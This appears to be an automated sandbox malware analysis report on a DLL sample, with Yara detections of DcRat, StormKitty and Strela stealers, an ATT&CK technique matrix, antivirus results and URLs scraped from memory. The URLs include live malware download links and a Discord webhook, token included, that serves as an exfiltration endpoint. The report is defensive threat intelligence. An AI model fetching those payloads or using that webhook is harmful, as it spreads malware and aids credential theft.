Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 0000001A.00000002.4668820759.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	312 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	1 Scheduled Task/Job	121 Obfuscated Files or Information	Security Account Manager	35 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	261 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	21 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	151 Virtualization/Sandbox Evasion	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	312 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Regsvr32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
iviewers.dll	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://147.45.44.131/infopage/iubn.ps1hZ	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/ersyb.exe3C	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/ersyb.exe0	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/ersyb.exe	100%	Avira URL Cloud	malware
http://147.45.44.131/infopage/ersyb.exeM	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/iubn.ps1	100%	Avira URL Cloud	malware
http://147.45.448	0%	Avira URL Cloud	safe
http://147.45.448&2b	0%	Avira URL Cloud	safe
http://147.45.448JP	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/rwvg1.exe	100%	Avira URL Cloud	malware
http://crl.micro%W	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/iubn.ps1	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/ersyb.exe	powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000012.00000002.2245876805.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2243284289.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2243998198.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2243454089.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2244756782.0000000005023000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2245147123.0000000005013000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2246303025.0000000005013000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2244961793.0000000005023000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2244914010.0000000005012000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2244902825.0000000000673000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2250944481.00000000051EA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2251090158.00000000051CF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2250944481.00000000051E0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000002.2253232818.00000000051EB000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2251459158.00000000051EB000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2251164237.00000000051E0000.00000004.00000020.00020000.00000000.sdmp, snrj5tfq.0.cs.17.dr, 10esxhtc.dll.18.dr, 10esxhtc.0.cs.13.dr, 5swi5u3s.0.cs.15.dr	true	Avira URL Cloud: malware	unknown
http://147.45.44.131/infopage/iubn.ps1hZ	powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000D.00000002.2389566237.000000000631A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000644A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/ersyb.exe0	csc.exe, 00000012.00000003.2244945191.00000000067C1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000013.00000003.2246045410.0000000004F61000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2245811819.00000000008A1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000018.00000003.2252244261.0000000005091000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 0000000D.00000002.2328638623.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004FC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v6/users/	RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/ersyb.exe3C	powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2390809221.0000000008961000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000014.00000002.2246911702.000000000067F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2244771796.0000000000662000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000014.00000003.2244039822.000000000067F000.00000004.00000020.00020000.00000000.sdmp, 5swi5u3s.dll.20.dr	true	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/ersyb.exeM	csc.exe, 00000014.00000003.2243887348.0000000000673000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_seeaCould	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.newtonsoft.com/jsonschema	powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131	powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.00000000055A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.0000000005405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.0000000005535000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.00000000050E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.448	powershell.exe, 0000000D.00000002.2328638623.00000000055A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.0000000005641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004A2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.448&2b	powershell.exe, 0000000F.00000002.2279154192.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/rwvg1.exe	powershell.exe, 00000011.00000002.2302627366.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.m	powershell.exe, 0000000E.00000002.2331414790.0000000007B71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354cIt	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.448JP	powershell.exe, 0000000E.00000002.2277511320.000000000576B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro%W	powershell.exe, 0000000D.00000002.2421701285.0000000007AED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ipinfo.io/ip	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.000000000562D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000D.00000002.2328638623.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004741000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.2389566237.000000000631A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000644A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_see	powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.2328638623.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004741000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.4668820759.0000000003341000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2277222027.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2277704575.0000000002891000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.2304100518.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	false		high

